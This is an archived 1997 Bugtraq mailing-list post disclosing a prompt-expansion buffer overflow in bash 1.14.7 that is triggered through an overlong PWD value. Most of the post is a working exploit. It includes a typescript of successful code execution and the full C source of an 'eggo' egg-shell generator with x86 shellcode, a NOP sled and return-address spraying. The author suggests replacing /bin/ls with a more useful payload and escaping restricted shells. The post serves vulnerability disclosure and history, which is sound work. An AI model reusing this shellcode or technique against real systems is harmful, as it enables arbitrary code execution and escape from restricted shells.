Bugtraq mailing list archives
[Fwd: BoS: Buffer overflow in /bin/bash]
From: hotcode () POBOXES COM (hOtCodE)
Date: Fri, 22 Aug 1997 12:01:40 +0200
This is a multi-part message in MIME format. --------------731C42EC0F53AA15A3DEB6D9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit -- hOtCodE <hotcode () poboxes com> --------------731C42EC0F53AA15A3DEB6D9 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from nf6.netforward.com by server.lsol.tm.fr via ESMTP (951211.SGI.8.6.12.PATCH1042/940406.SGI.AUTO) for <hc () lsol tm fr> id DAA19408; Fri, 22 Aug 1997 03:00:45 -0700 X-Forwarder: NetForward.com Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id LAA11286; Fri, 22 Aug 1997 11:02:16 +1000 Received: (from slist@localhost) by plum.cyber.com.au (8.8.6/8.8.6) id LAA11883; Fri, 22 Aug 1997 11:02:10 +1000 (EST) Old-X-Envelope-From: drazvan () pop3 kappa ro Fri Aug 22 06:20:38 1997 Date: Thu, 21 Aug 1997 18:31:27 +0300 (EET DST) From: Razvan Dragomirescu <drazvan () kappa ro> Message-ID: <Pine.LNX.3.96.970821182935.3707A-100000 () pop3 kappa ro> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ReSent-Date: Thu, 21 Aug 1997 23:26:08 +0300 (EET DST) ReSent-To: best-of-security () cyber com au ReSent-Message-ID: <Pine.LNX.3.96.970821232608.4512A () pop3 kappa ro> Sender: darrenr () cyber com au Old-Status: O X-Loop: best-of-security () cyber com au Errors-To: best-of-security-request () cyber com au Precedence: list Resent-Sender: best-of-security-request () cyber com au To: best-of-security () cyber com au Resent-From: best-of-security () cyber com au X-OS: FreeBSD3.0-current X-Mailing-List: <best-of-security () cyber com au> ftp://ftp.cyber.com.au/pub/archive/b-o-s/ X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request () cyber com au with Subject: unsubscribe Subject: BoS: Buffer overflow in /bin/bash Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by nf6.netforward.com id UAA17289 Hello again, If this is old, I'm sorry but I wasn't able to find it elsewhere. There is a buffer overflow condition in the way "bash" treats the expansi= on of the prompt line (as specified by PS1). I usually use something like PS1=3D\h:\w\$ which is very nice. \h is the host name, \w is the working directory and = \$ is either '#' or '$', depending on your UID. The problem is with \w. It appe= ars it reads the current working directory from the PWD environment variable. It then adds it to the prompt line, which I think has a fixed length, somewhere around 1024 bytes. (Can anyone confirm this? I do not have the = C source. Yet.). By writing past the end of this buffer, you can execute arbitrary code. Take a look at this: (The exploit code is heavily based on AlephOne's "Smashing the Stack for = Fun and Profit". I've changed the string "/bin/sh" to "/bin/ls". A shell spawning another shell wouldn't do much magic :) My comments start with ##). --typescript-- ## Some sysinfo first. paul:~/2$ uname -a Linux paul 2.0.29 #3 Wed Aug 6 01:50:05 GMT+2 1997 i486 paul:~/2$ bash -version GNU bash, version 1.14.7(1) ## I've tested it on a 2.00 beta too and it works. If anyone has a newer version, please let me know if it works. paul:~/2$ pwd /home/drazvan/2 ## We'll get a file listing to compare it with the one at the bottom. paul:~/2$ ls eggo eggo.c shellcode.h smashsta.txt typescript paul:~/2$ ./eggo [ Buffer size: 2048 Egg size: 2048 Aligment: 0 ] [ Address: 0xbffffb60 Offset: 0 ] ## We'll change PS1 to include '\w' bash$ export PS1=3D'\w:' ## You can see the working directory now (~/2). Now set the PWD variable. ~/2:export PWD=3D$BOF ## Kaboom.... sh: =FB=FF=BF: command not found sh: =FB=FF=BF: command not found sh: =FB=FF=BF: command not found sh: =FB=FF=BF: command not found sh: =FB=FF=BF: command not found (...a few lines were suppressed) sh: =FB=FF=BF: command not found sh: =FB=FF=BF: command not found sh: =FB=FF=BF: command not found sh: =FB=FF=BF: command not found sh: =FB=FF=BF: command not found sh: =FB=FF=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90 =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90 =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=EB=1F^=89v=081=C0=88F=07=89F=0C=B0=0B=89=F3=8DN=08=8D= V=0C=CD=801=DB=89=D8@=CD=80=E8=DC=FF=FF=FF/bin/ls: File name too long eggo eggo.c shellcode.h smashsta.txt typescript ## Bingo! Bash just executed our ls! You can of course change /bin/ls to something more useful. paul:~/2$=20 --end of typescript-- The only problem with this is that I don't see many uses for this overflow. "bash" is not a setuid program (I wish it were...). Maybe you could bypass a restricted shell based on bash, or create directories with very long names in order to get past the end of the buffer. But I'm sure one of you will think of something useful to do with it. Now, here's the source for that "eggo" program you've seen: --eggo.c-- #include <stdlib.h> #include <stdio.h> #include <unistd.h> #define NOP_SIZE 1 #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 2048 #define DEFAULT_EGG_SIZE 2048 char nop[] =3D "\x90"; char shellcode[] =3D "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=3DDEFAULT_OFFSET, bsize=3DDEFAULT_BUFFER_SIZE; int i, n, m, c, align=3D0, eggsize=3DDEFAULT_EGG_SIZE; while ((c =3D getopt(argc, argv, "a:b:e:o:")) !=3D EOF) switch (c) { case 'a': align =3D atoi(optarg); break; case 'b': bsize =3D atoi(optarg); break; case 'e': eggsize =3D atoi(optarg); break; case 'o': offset =3D atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof =3D malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg =3D malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr =3D get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr =3D (long *) bof; for (i =3D 0; i < bsize; i+=3D4) *(addr_ptr++) =3D addr; ptr =3D egg; for (i =3D 0; i < eggsize - strlen(shellcode) - NOP_SIZE; i+=3DNOP_SIZE= ) for (n =3D 0; n < NOP_SIZE; n++) { m =3D (n + align) % NOP_SIZE; *(ptr++) =3D nop[m]; } for (i =3D 0; i < strlen(shellcode); i++) *(ptr++) =3D shellcode[i]; bof[bsize - 1] =3D '\0'; egg[eggsize - 1] =3D '\0'; memcpy(egg,"EGG=3D",4); putenv(egg); memcpy(bof,"BOF=3D",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggo [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n"); } --end of eggo.c-- My special thanks to Doru Petrescu <pdoru () kappa ro> who first noticed the problem while "cd"-ing to _very_ long paths for the fun of seeing bash crash. And of course to AlephOne for his wonderful "Smashing the Stack for Fun and Profit". My exploit program is entirely based on his "eggshell" code. Have fun and be good, Razvan -- Razvan Dragomirescu drazvan () kappa ro, drazvan () romania ro, drazvan () roedu net Phone: +40-1-6866621 "Smile, tomorrow will be worse" (Murphy) --------------731C42EC0F53AA15A3DEB6D9--
Current thread:
- [Fwd: BoS: Buffer overflow in /bin/bash] hOtCodE (Aug 22)